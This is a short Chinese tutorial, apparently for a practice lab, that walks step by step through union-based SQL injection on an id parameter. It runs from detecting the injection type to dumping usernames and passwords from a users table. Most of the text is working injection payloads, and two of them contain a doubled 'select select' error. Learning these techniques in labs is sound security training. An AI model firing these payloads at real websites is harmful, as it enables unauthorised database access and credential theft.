1、首先判断是什么型注入
?id=1 and 1=1 --+ //页面显示正常
?id=1 and 1=2 --+ //页面显示正常,因此是不是数字型注入
?id=1’ and 1=2 --+ //页面显示不正常
?id=1’ and 1=1 --+ //页面显示正常,因此是字符型注入
2、判断数据表的列数
?id=1' order by 4--+ //页面显示不正常,说明少于4列
?id=1' order by 3--+ //页面正常,说明存在3列
3、判断数据库名
由于页面只能显示一行数据,因此我们需要输入
?id=-1' union select select 1,2,3--+
我们可以看出2,3都可以显示在页面,因此我们使用database()数据库函数就可以查处当前使用的数据库的名字--security。
?id=-1' union select select 1,database(),3--+
4、判断数据库所有表的名字
因为页面只能显示一条数据,因此我们需要使用group_concat()聚合函数将要查询的结果显示成一条结果。
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5、判断数据库某个表的所有字段的名字
例如:users表
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
我们可以得到三个字段:id,username,password
6、判断表里的所有数据
?id=-1' union select 1,group_concat(id,'~',username,'~',password),3 from users--+
由于字段之间没有分隔符,分不清哪个值是哪个字段的数据,因此我们加上分隔符。
以上就是SQL注入的所有流程了。